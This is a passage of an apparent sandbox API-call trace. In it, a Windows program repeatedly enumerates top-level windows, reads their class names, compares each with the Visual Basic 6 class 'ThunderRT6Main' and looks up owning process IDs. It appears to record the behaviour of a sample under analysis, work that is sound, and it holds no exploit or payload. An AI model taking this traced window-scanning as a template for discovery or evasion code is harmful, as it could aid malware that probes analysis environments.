GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0159.863] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0159.863] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0159.863] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0159.863] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0159.863] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0159.863] GetClassNameA (in: hWnd=0x10190, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.863] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.863] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0159.863] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0159.863] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0159.863] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0159.863] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0159.863] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0159.863] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.863] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.863] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0159.863] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0159.863] GetClassNameA (in: hWnd=0x10186, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0159.863] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0159.863] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0159.863] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0159.863] GetClassNameA (in: hWnd=0x10188, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.863] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.863] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0159.863] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0159.863] GetClassNameA (in: hWnd=0x10182, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0159.863] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0159.863] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0159.864] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0159.864] GetClassNameA (in: hWnd=0x10184, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.864] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.864] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0159.864] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0159.864] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0159.864] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0159.864] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0159.864] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0159.864] GetClassNameA (in: hWnd=0x10180, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.864] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.864] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0159.864] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0159.864] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0159.864] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0159.864] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0159.864] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0159.864] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.864] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.864] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0159.864] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0159.864] GetClassNameA (in: hWnd=0x10176, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0159.864] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0159.864] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0159.864] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0159.864] GetClassNameA (in: hWnd=0x10178, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.864] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.864] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0159.864] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0159.864] GetClassNameA (in: hWnd=0x10172, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0159.864] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0159.864] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0159.864] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0159.864] GetClassNameA (in: hWnd=0x10174, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.864] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.864] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0159.864] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0159.864] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0159.864] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0159.864] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0159.864] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0159.864] GetClassNameA (in: hWnd=0x10170, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.864] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.864] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0159.864] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0159.864] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0159.865] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0159.865] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0159.865] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0159.865] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.865] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.865] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0159.865] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0159.865] GetClassNameA (in: hWnd=0x10166, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0159.865] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0159.865] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0159.865] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0159.865] GetClassNameA (in: hWnd=0x10168, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.865] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.865] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0159.865] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0159.865] GetClassNameA (in: hWnd=0x10162, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0159.865] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0159.865] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0159.865] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0159.865] GetClassNameA (in: hWnd=0x10164, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.865] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.865] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0159.865] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0159.865] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0159.865] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0159.865] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0159.865] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0159.865] GetClassNameA (in: hWnd=0x10160, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.865] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.865] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0159.865] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0159.865] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0159.865] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0159.865] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0159.865] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0159.865] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.865] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.865] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0159.865] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0159.865] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0159.865] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0159.865] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0159.866] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0159.866] GetClassNameA (in: hWnd=0x20156, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.866] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.866] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0159.866] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0159.866] GetClassNameA (in: hWnd=0x50128, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0159.866] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0159.866] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0159.866] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0159.866] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.866] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.866] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0159.866] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0159.866] GetClassNameA (in: hWnd=0x20020, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0159.866] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0159.866] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0159.866] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0159.866] GetClassNameA (in: hWnd=0x20024, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.866] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.866] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0159.866] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0159.866] GetClassNameA (in: hWnd=0x20022, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0159.866] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0159.866] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0159.866] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0159.866] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.866] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.866] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0159.866] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0159.866] GetClassNameA (in: hWnd=0x20158, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0159.866] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0159.866] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0159.866] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0159.866] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0159.866] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0159.866] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0159.866] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0159.866] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0159.866] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0159.866] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0159.866] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0159.866] GetClassNameA (in: hWnd=0x20140, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0159.866] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0159.866] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0159.866] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0159.866] GetClassNameA (in: hWnd=0x10134, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0159.867] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0159.867] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0159.867] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0159.867] GetClassNameA (in: hWnd=0x10136, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.867] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.867] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0159.867] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0159.867] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0159.867] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0159.867] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0159.867] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0159.867] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.867] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.867] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0159.867] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0159.867] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0159.867] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0159.867] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0159.867] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0159.867] GetClassNameA (in: hWnd=0x20068, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.867] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.867] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0159.867] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0159.867] GetClassNameA (in: hWnd=0x20066, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0159.867] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0159.867] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0159.867] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0159.867] GetClassNameA (in: hWnd=0x10124, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0159.867] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0159.867] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0159.867] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0159.867] GetClassNameA (in: hWnd=0x10122, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0159.867] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0159.867] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0159.867] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0159.867] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0159.867] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0159.867] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0159.867] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0159.867] GetClassNameA (in: hWnd=0x10118, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0159.867] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0159.867] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0159.867] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0159.867] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.867] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.867] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.868] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0159.868] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0159.868] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0159.868] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.868] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0159.868] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0159.868] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0159.868] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.868] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0159.868] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.868] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.868] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.868] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0159.868] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.868] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.868] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.868] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0159.868] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.868] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.868] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.868] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0159.868] GetClassNameA (in: hWnd=0x100be, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0159.868] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0159.868] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.868] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0159.868] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0159.868] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0159.868] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.868] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0159.868] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0159.868] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0159.868] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0159.868] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0159.868] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0159.868] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0159.868] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.868] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0159.868] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.868] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.868] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.868] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0159.868] GetClassNameA (in: hWnd=0x10086, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0159.868] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0159.868] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.868] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0159.868] GetClassNameA (in: hWnd=0x10082, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0159.869] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0159.869] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0159.869] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0159.869] GetClassNameA (in: hWnd=0x10060, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0159.869] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0159.869] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0159.869] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0159.869] GetClassNameA (in: hWnd=0x10062, lpClassName=0x2099c0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0159.869] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0159.869] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0159.869] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 